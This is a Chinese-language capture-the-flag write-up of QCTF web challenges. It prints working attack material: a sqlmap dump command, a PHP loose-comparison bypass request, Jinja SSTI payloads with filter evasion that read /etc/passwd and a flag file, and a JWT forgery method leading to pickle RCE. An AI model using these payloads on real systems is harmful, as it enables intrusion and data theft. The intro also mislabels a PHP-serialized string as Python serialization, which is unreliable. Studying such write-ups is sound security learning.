=========================================
个人收获:
1.php是弱类型语言 xx==xx 或者xx===xx存在被绕过可能
2.python 和404 要想到Flask jinja injection(SSTI)
3.python序列化后的格式类似于:
a:5:{s:4:"name";s:6:"张三";s:3:"age";s:2:"22";s:3:"sex";s:3:"男";s:5:"phone";s:9:"123456789";s:7:"address";s:21:"上海市浦东新区";}
==========================================
玩了下QCTF的Web部分,非职业赛棍学到了不少的东西,Web部分同时感觉并不是很难,可能是因为同样是X-Man选拔赛的原因,Web,RE,Misc等考点比较全面,ORZ。写的时候赛题已经关闭,但还是尽量写清楚。
嗯,签到题,搜索框的POST参数存在注入,抓包如下
POST / HTTP/1.1
Host: 47.96.118.255:33066
Content-Length: 47
Cache-Control: max-age=0
Origin: http://47.96.118.255:33066
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://47.96.118.255:33066/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
search=11111
保存到1.txt,扔进SQLMAP。
python sqlmap.py -r 1.txt --threads 5 --level 3 -D "news" -T "secret_table" --dump
直接跑出FLAG
这个题目的思路很简单,直接购买FLAG就行,没错,有钱就是可以为所欲为…… ORZ
扫描后发现.git
目录,直接使用dvcs-ripper
工具进行还原
./rip-git.pl -m -o /root/dvcs-ripper-master/ -v -u http://47.96.118.255:8888/.git/
得到源代码后进行审计,找到问题的处理函数
function buy($req){
require_registered();
require_min_money(2);
$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}
switch ($same_count) {
case 2:
$prize = 5;
break;
case 3:
$prize = 20;
break;
case 4:
$prize = 300;
break;
case 5:
$prize = 1800;
break;
case 6:
$prize = 200000;
break;
case 7:
$prize = 5000000;
break;
default:
$prize = 0;
break;
}
$money += $prize - 2;
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}
我们要增加我们的金币,就需要在switch/case
这里选择靠后开关,
case 7:
$prize = 5000000;
break;
这里会被写入我们用于存储金币session
中
$money += $prize - 2;
$_SESSION['money'] = $money;
$same_count
生成的时候,这里使用了==
存在弱类型比较
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}
我们直接利用true
让if
的判断表达式返回值一直为真
= 250);
if (!$cstrong) {
response_error('server need be checked, tell admin');
}
$num /= 25;
return strval(floor($num));
}
function random_win_nums()
{
$result = '';
for ($i = 0; $i < 7; $i++) {
$result .= random_num();
}
return $result;
}
echo random_win_nums() == true; //true
最后直接修改发送请求的内容,就能有足够的钱购买FLAG,为所欲为。。。。。
{"action":"buy","numbers":[true,true,true,true,true,true,true]}
confusion1的描述
One day, Bob said "PHP is the best language!", but Alice didn't agree it, so Alice write a website to proof it. She published it before finish it but I find something WRONG at some page.(Please DO NOT use scanner!)
进入题目后,把里面的东西都点了点,发现是一个和描述一样的网站,功能不全,点击登陆和注册都是404。
404的页面会把不存在的页面路径作为提示输出在页面,首先想到XSS,但没找到XSS提交点。
还发现了网页注释提示Flag藏在服务器目录下,那这就不该是XSS。
然后网页正中间的图片是蟒蛇缠着大象,那这个题目应该就是和Python有关。
404页面 + Python 很容易就联想到 Flask jinja injection(SSTI)。
于是做了一个测试 {{ 12 }}
,发现页面的提示输出变成了12
,这里已经可以确定是SSTI。
以前就有类似的题目,直接用以前的Payload
{{ ().__class__.__bases__[0].__subclasses__()[40]("/etc/passwd").read() }}
发现存在简单的过滤,过滤了__class__
,__subclasses__
,read
等关键字
这里我们可以将过滤的属性名变为参数拼接起,就能绕过过滤。
于是我编写了Payload
{{ getattr(getattr(getattr(getattr((), '__cl' + 'ass__'), '__bases__')[0], '__sub' + 'classes__')()[40]('/etc/passwd', 'r'),'r' + 'ead')() }}
本地测试通过,能够成功读取文件,但是发现这个题目很奇怪发现是500。
卡了很久,后面发现是getattr
函数选择上出现了错误。
当输入 {{ geattr }}
后,页面并没有返回
信息
题目应该是删除或者过滤了这个函数。
这我们就选择__getattribute__
,输入 {{ (). __getattribute__ }}
,成功返回信息
修改Payload如下,成功获取FLAG
{{[].__getattribute__('__cla'+'ss__').__base__.__getattribute__([].__getattribute__('__cla'+'ss__').__base__,'__subclas'+'ses__')()[40]('/opt/flag_b420e8cfb8862548e68459ae1d37a1d5.txt','r').__getattribute__('r'+'ead')()}}
这需要注意的是第三个__getattribute__
函数是需要传入两个参数的__getattribute__(object,attribute)
其实这个函数本身就有两个参数,当我们通过(). __getattribute__
这种指定对象的方式调用的时候object
为self
并且自动传入函数,
但是当我们使用__base__
基类对象进行调用__getattribute__
的时候就需要指定object
Confusion2
confusion2的描述
Finally Alice finished her website and published it, but I find something STRANGE when Alice said hello to me.
PS: Alice said she likes add salts when she was cooking.
hint:Alice likes adding salt at the LAST.
首先是注册和登陆,有个常规验证码,直接跑出来
$i = 0;
for ($i; $i < 100000000; $i++) {
if (substr(md5($i), 0, 6) == '5bc395') {
echo $i;
exit();
}
}
注册后登陆
GET /index.php HTTP/1.1
Host: 47.96.118.255:23333
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://47.96.118.255:23333/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=42a53fff-6354-45a3-afcd-c922f2c0d5ba; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJzaGEyNTYiLCJraWQiOiI1NSJ9.eyJkYXRhIjoiTzo0OlwiVXNlclwiOjI6e3M6OTpcInVzZXJfZGF0YVwiO3M6NjA6XCIobHAxXG5WUmFpNG92ZXJcbnAyXG5hUydlMTBhZGMzOTQ5YmE1OWFiYmU1NmUwNTdmMjBmODgzZSdcbnAzXG5hLlwiO30ifQ.OTY0OWRhMGE5ZTc4N2E1NmVjOWJlNzJmMTIwZjdmMjAzMmE4OGNlODMzYTJmMWY0MjA4YzRlMGFlMDlhNGE0Zg
Connection: close
发现Cookie里面存在一个token
的键,并且键值为JWT
eyJ0eXAiOiJKV1QiLCJhbGciOiJzaGEyNTYiLCJraWQiOiI1NSJ9.eyJkYXRhIjoiTzo0OlwiVXNlclwiOjI6e3M6OTpcInVzZXJfZGF0YVwiO3M6NjA6XCIobHAxXG5WUmFpNG92ZXJcbnAyXG5hUydlMTBhZGMzOTQ5YmE1OWFiYmU1NmUwNTdmMjBmODgzZSdcbnAzXG5hLlwiO30ifQ.OTY0OWRhMGE5ZTc4N2E1NmVjOWJlNzJmMTIwZjdmMjAzMmE4OGNlODMzYTJmMWY0MjA4YzRlMGFlMDlhNGE0Zg
这里比较关键的是生成签名的算法并非标准的JWT算法HS256
ES256
等,而是使用的sha256
,卡了好久。
以为header里面的"alg": "sha256"
只是单纯的改了而已
这里还有就是要用到上面的salt文件的提示,这个文件里存储着salt,值为_Y0uW1llN3verKn0w1t_
。
根据这个题目的提示我们可以知道这个salt的位置为最后
第三部分的签名生成格式如下,那么我们就可以伪造JWT了
var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload);
var signature = SHA256(encodedString + '_Y0uW1llN3verKn0w1t_');
再看看Payload的内容
{
"data": "O:4:\"User\":2:{s:9:\"user_data\";s:60:\"(lp1\nVRai4over\np2\naS'e10adc3949ba59abbe56e057f20f883e'\np3\na.\";}"
}
data的键值字符串是一串php序列化的字符串
O:4:\"User\":2:{s:9:\"user_data\";s:60:\"(lp1\nVRai4over\np2\naS'e10adc3949ba59abbe56e057f20f883e'\np3\na.\";}
User
类,包含user_data
这个属性,属性的值为,长度为60
(lp1\nVRai4over\np2\naS'e10adc3949ba59abbe56e057f20f883e'\np3\na.
这个值是Python序列化的字符串
>>> import pickle
>>> pickle.loads("(lp1\nVRai4over\np2\naS'e10adc3949ba59abbe56e057f20f883e'\np3\na.")
[u'Rai4over', 'e10adc3949ba59abbe56e057f20f883e']
这里我们直接联想到Python反序列化的RCE,这里不再赘述。
我们首先构造好Python的RCE的字符串然后,放进PHP的序列化的字符串里面,然后直接根据上文JWT算法算出对应的签名,替换Cookie,就能执行任意命令,Flag通过HTTP外带出来就行了。
感谢指点的各位大师傅